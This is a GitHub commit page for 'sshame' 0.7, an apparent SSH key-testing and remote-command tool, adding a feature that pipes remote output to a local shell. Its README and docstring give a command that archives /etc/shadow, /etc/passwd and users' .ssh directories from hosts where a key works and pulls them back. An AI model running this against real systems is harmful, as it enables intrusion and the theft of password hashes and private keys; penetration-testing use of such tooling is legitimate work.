Skip to content

Commit

Permalink
Merge pull request #1 from HynekPetrak/dev
Browse files Browse the repository at this point in the history
Version 0.7 release
  • Loading branch information
HynekPetrak authored Sep 9, 2019
2 parents cfd1d71 + 71a1efa commit 2d4750f
Show file tree
Hide file tree
Showing 4 changed files with 115 additions and 42 deletions.
22 changes: 18 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -120,6 +120,22 @@ With `commands -r` diplay the results:
| 434f163a-24b5-4775-a3c1-6ea41745b18d | 10.0.0.2 | 22 | root | whoami | 0 | root | 2019-08-25 21:28:23 |
| 305e3f5d-bf4d-4024-981a-59b2dddebbcd | 10.0.0.1 | 22 | admin | whoami | 0 | admin | 2019-08-25 21:28:23 |

### Pipe remote commands to a local shell ###

Define an alias `get_files` for a remote command `tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0`
and pipe it to a local `uudecode -o - |tar xzf -`, with:

commands -a get_files "tar -cf - /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout; exit 0" -p "uudecode -o - |tar xzf -"

`exit 0` is to override tar's exit code in case of missing files.

Run te defined command with:

run_cmd -c get_files

The output you will find in the folder `output/<host>_<port>/username/...`


### Session management ###

You may want to split wokloads into sessions. Use `session name` to switch between sessions. Default session is
Expand All @@ -131,8 +147,6 @@ name, e.g. `default.db`
(sshame) session test
2019-08-25 23:38:38,283 sshame [I] 'Openning session: sqlite:///test.db'

## Version history ##

### sshame 0.5 - 2019-08-25 ###
### License ###

Initial release
MIT
2 changes: 1 addition & 1 deletion setup.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

PROJECT = 'sshame'

VERSION = '0.6'
VERSION = '0.7'

from setuptools import setup, find_packages

Expand Down
13 changes: 8 additions & 5 deletions sshame/db.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
from sqlalchemy import (Column, ForeignKey, Integer, String,
DateTime, Index, Unicode, LargeBinary, Boolean, ForeignKeyConstraint)
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import relationship
from sqlalchemy.orm import relationship, column_property
from sqlalchemy.sql import func
from sqlalchemy import create_engine

Expand Down Expand Up @@ -73,18 +73,21 @@ class Command(Base):
exit_status = Column(Integer)
stdout = Column(Unicode())
stderr = Column(Unicode())
pipe_exit_status = Column(Integer)
pipe_stdout = Column(Unicode())
pipe_stderr = Column(Unicode())
exception = Column(Unicode())
guid = Column(String(), default=get_uuid, onupdate=get_uuid)
guid = column_property(username+"@"+host_address+":"+host_port+"#"+cmd)
updated = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now())
host = relationship("Host", back_populates="commands")
__table_args__ = (ForeignKeyConstraint([host_address, host_port],
[Host.address, Host.port]),
{})
[Host.address, Host.port]), {})

class CommandiAlias(Base):
class CommandAlias(Base):
__tablename__ = 'command_aliases'
alias = Column(Unicode(), primary_key=True)
cmd = Column(Unicode())
pipe_to = Column(Unicode())
enabled = Column(Boolean, default=True)
updated = Column(DateTime(timezone=True), server_default=func.now(), onupdate=func.now())

Expand Down
120 changes: 88 additions & 32 deletions sshame/main.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,9 +24,9 @@
from sqlalchemy.orm import sessionmaker, scoped_session, Query
from sqlalchemy.sql import func, select, case, functions
from sqlalchemy import create_engine
from sshame.db import Host, Base, Key, Credential, Command, CommandiAlias
from sshame.db import Host, Base, Key, Credential, Command, CommandAlias

version = "0.6"
version = "0.7"

try:
from colorama import Back
Expand Down Expand Up @@ -84,9 +84,11 @@ def file_len(fname):
pass
return i + 1


def truncate(data):
return (data[:75] + '..') if len(data) > 75 else data


def progbar(curr, total, full_progbar=20):
frac = curr / total
filled_progbar = round(frac * full_progbar)
Expand Down Expand Up @@ -356,6 +358,10 @@ def init_db(self, name='default'):
sqls = ["ALTER TABLE commands ADD COLUMN guid VARCHAR;",
"ALTER TABLE hosts ADD COLUMN enabled BOOLEAN;",
"ALTER TABLE keys ADD COLUMN enabled BOOLEAN;",
"ALTER TABLE command_aliases ADD COLUMN pipe_to VARCHAR;",
"ALTER TABLE commands ADD COLUMN pipe_stdout VARCHAR;",
"ALTER TABLE commands ADD COLUMN pipe_stderr VARCHAR;",
"ALTER TABLE commands ADD COLUMN pipe_exit_status INTEGER;",
]
for s in sqls:
try:
Expand Down Expand Up @@ -434,22 +440,27 @@ def get_command_targets(self, host=None, port=None, usernames=None):
"""Returns keys that can logon to username@host:port"""

q = (self.db.query(Key.private_key.label("private_key"),
Credential.host_address.label("host_address"),
Credential.host_port.label("host_port"),
Credential.username.label("username"))
Credential.host_address.label("host_address"),
Credential.host_port.label("host_port"),
Credential.username.label("username"))
.outerjoin(Credential, Key.fingerprint == Credential.key_fingerprint)
.filter(Credential.valid == True)
.order_by(Credential.host_address,
Credential.host_port, Credential.username)
)
if host:
q.filter(Credential.host_address == host)
q = q.filter(Credential.host_address == host)
if port:
q.filter(Credential.host_port == port)
q = q.filter(Credential.host_port == port)
if usernames:
q.filter(Credential.username.in_(usernames))
q = q.filter(Credential.username.in_(usernames))

q = q.order_by(Credential.host_address,
Credential.host_port, Credential.username)

Target = namedtuple("Target", ["username", "host_address", "host_port", "keys"])
# print(q.statement.compile())
# print(q.statement.compile().params)

Target = namedtuple(
"Target", ["username", "host_address", "host_port", "keys"])

ret = []
for key, group in groupby(q, lambda x: (x.username, x.host_address, x.host_port)):
Expand Down Expand Up @@ -480,7 +491,6 @@ class PublicKeySSHClient(asyncssh.SSHClient):
def __init__(self, db, keys, host_address, host_port, username):
self.log_id = f"{username}@{host_address}:{host_port}"
self._keylist = keys
self.consumed = 0
self.keys_to_test = len(keys)
self.key_fingerprint = None
self.db = db
Expand Down Expand Up @@ -537,7 +547,7 @@ def public_key_auth_requested(self):
log.debug(f'[{self.log_id}] [D] key3 {self.key_fingerprint} for {self.username}@{self.host_address}')
return ret

async def test_keys_on_single_target(self, host_address, host_port, username='root', keys=None, cmds=None):
async def test_keys_on_single_target(self, host_address, host_port, username, keys):
log_id = f"{username}@{host_address}:{host_port}"
async with self.sem:
_pkssh = self.PublicKeySSHClient(
Expand Down Expand Up @@ -586,20 +596,27 @@ async def run_command_on_single_target(self, host_address, host_port, username='
try:
log.debug(f'[*] [{log_id}] Connecting')
conn = await asyncio.wait_for(asyncssh.connect(host_address, port=host_port, username=username, known_hosts=None,
client_keys=keys, x509_trusted_certs=None, client_host_keys=None), timeout=self.timeout)
client_keys=keys, x509_trusted_certs=None, client_host_keys=None), timeout=self.timeout)
log.debug(f'[*] [{log_id}] Connection created')
async with conn:
for cmd in cmds:
log.debug(f'[{log_id}] Executing cmd: {cmd}')
cmd_alias = self.db.query(CommandiAlias.cmd).filter(
CommandiAlias.alias == cmd).scalar()
cmd_alias = self.db.query(CommandAlias.alias, CommandAlias.cmd, CommandAlias.pipe_to).filter(
CommandAlias.alias == cmd).first()
c = self.db.query(Command).filter(Command.host_address == host_address).filter(Command.host_port == host_port).filter(
Command.cmd == cmd).filter(Command.username == username).first()
if not c:
c = Command(
host_address=host_address, host_port=host_port, cmd=cmd, username=username)
try:
res = await conn.run(cmd_alias if cmd_alias else cmd, check=False)
c.exception = None
c.stdout = None
c.stderr = None
c.exit_status = None
c.pipe_exit_status = None
c.pipe_stdout = None
c.pipe_stderr = None
res = await conn.run(cmd_alias.cmd if cmd_alias and cmd_alias.cmd else cmd, check=False)
cmds_run += 1
# log.debug('done')
so = res.stdout
Expand All @@ -610,12 +627,37 @@ async def run_command_on_single_target(self, host_address, host_port, username='
if es != 0:
c.stderr = se
else:
c.stdout = so
c.updated = func.current_timestamp()
if cmd_alias and cmd_alias.pipe_to:
cwd = os.getcwd()
# FIXME: escape path?
cmd_cwd = os.path.join(cwd, "output", f"{host_address}_{host_port}", username, cmd_alias.alias)
os.makedirs(cmd_cwd, exist_ok=True)
# TODO: test
log.debug(f'[{log_id}] "{cmd}" running create_subprocess_shell')
proc = await asyncio.create_subprocess_shell(
cmd_alias.pipe_to,
cwd=cmd_cwd,
stdout=asyncio.subprocess.PIPE,
stdin=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE)

log.debug(f'[{log_id}] "{cmd}" running communicate')
pso, pse = await proc.communicate(input=so.encode())
log.debug(f'[{log_id}] [{cmd!r} exited with {proc.returncode}]')
c.pipe_exit_status = proc.returncode
if pso:
log.debug(f'[{log_id}] [pso] {pso.decode()}')
c.pipe_stdout = pso
if pse:
log.debug(f'[{log_id}] [pse] {pse.decode()}')
c.pipe_stderr = pse
else:
c.stdout = so
except Exception as ex:
msg = str(ex)
msg = repr(ex)
log.warning(f'[{log_id}] "{cmd}" {msg}')
c.exception = msg
c.updated = func.current_timestamp()
self.db.add(c)
self.db.commit()
return cmds_run
Expand All @@ -642,18 +684,25 @@ async def schedule_jobs(self, usernames=None, cmds=None):
if cmds:
targets = self.get_command_targets()
for x in targets:
log.debug(f"Adding run_cmd job: {x.username}@{x.host_address}:{x.host_port} run '{truncate(str(cmds))}' with {len(x.keys)} key(s)")
jobs.append(self.run_command_on_single_target(username=x.username,
host_address=x.host_address, host_port=x.host_port,
keys=x.keys, cmds=cmds))
host_address=x.host_address, host_port=x.host_port,
keys=x.keys, cmds=cmds))
else:
for (host, port) in self.db.query(
Host.address, Host.port).filter(Host.enabled == True):
for username in usernames:
vc = self.get_command_targets(host, port, [username])
if vc:
log.debug(f"Skipping: {username}@{host}:{port} - already have valid credentials")
# host already has a valid credential
continue
keys = self.get_keys_to_test(host, port, username)
if not keys:
continue
log.debug(f"Adding test_keys job: {username}@{host}:{port} with {len(keys)} key(s)")
jobs.append(self.test_keys_on_single_target(host, port,
username, keys, cmds))
username, keys))
i += 1
progbar(i, hosts_cnt)
if not jobs:
Expand Down Expand Up @@ -708,7 +757,7 @@ def do_test_keys(self, arg):
@cmd2.with_category(CMD_CAT_SSHAME)
def do_run_cmd(self, arg):
'''Run command on targets, where we have a valid credentials.
E.g. run_cmd -c "tar -cf - .ssh /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode file.tar.gz"'''
E.g. run_cmd -c "tar -cf - .ssh /etc/passwd /etc/ldap.conf /etc/shadow /home/*/.ssh /etc/fstab | gzip | uuencode /dev/stdout"'''
asyncio.get_event_loop().run_until_complete(
self.schedule_jobs(None, arg.command))

Expand All @@ -717,11 +766,14 @@ def do_run_cmd(self, arg):
commands_item_group.add_argument(
'-a', '--add', type=str, nargs=2, help='Add command alias')
commands_item_group.add_argument(
'-l', '--list', action='store_true', help='List command alias')
'-l', '--list', action='store_true', help='List command aliasses')
commands_item_group.add_argument(
'-r', '--results', action='store_true', help='Show results')
commands_item_group.add_argument(
'-s', '--save', type=str, nargs=1, help='Save command output to file')
commands_parser.add_argument(
'-p', '--pipe-to', type=str, nargs='?', help='''Pipe command output to a shell command. CWD for shell
command will be set to ip/user/cmd_alias_name/''')

@cmd2.with_argparser(commands_parser)
@cmd2.with_category(CMD_CAT_SSHAME)
Expand All @@ -730,21 +782,25 @@ def do_commands(self, arg):
if arg.add:
a = arg.add[0]
c = arg.add[1]
ca = self.db.query(CommandiAlias).filter(
CommandiAlias.alias == a).first()
ca = self.db.query(CommandAlias).filter(
CommandAlias.alias == a).first()
if not ca:
ca = CommandiAlias(alias=a)
ca = CommandAlias(alias=a)
ca.cmd = c
if arg.pipe_to:
ca.pipe_to = arg.pipe_to
self.db.add(ca)
self.db.commit()
if arg.list:
q = self.db.query(CommandiAlias.alias, CommandiAlias.cmd).filter(
CommandiAlias.enabled)
q = self.db.query(CommandAlias.alias, CommandAlias.cmd, CommandAlias.pipe_to).filter(
CommandAlias.enabled)
self.print_table(q)
if arg.results:
q = self.db.query(Command.guid, Command.host_address, Command.host_port, Command.username, Command.cmd,
Command.exit_status, func.coalesce(
Command.stdout, Command.stderr, Command.exception).label('output'),
Command.exit_status,
("STDOUT: " + func.substr(Command.stdout, 0, 50) + os.linesep +
"STDERR: " + func.substr(Command.stderr, 0, 50) + os.linesep +
"EXC: " + func.substr(Command.exception, 0, 50)).label('output'),
Command.updated)
self.print_table(q)
if arg.save:
Expand Down

0 comments on commit 2d4750f

Please sign in to comment.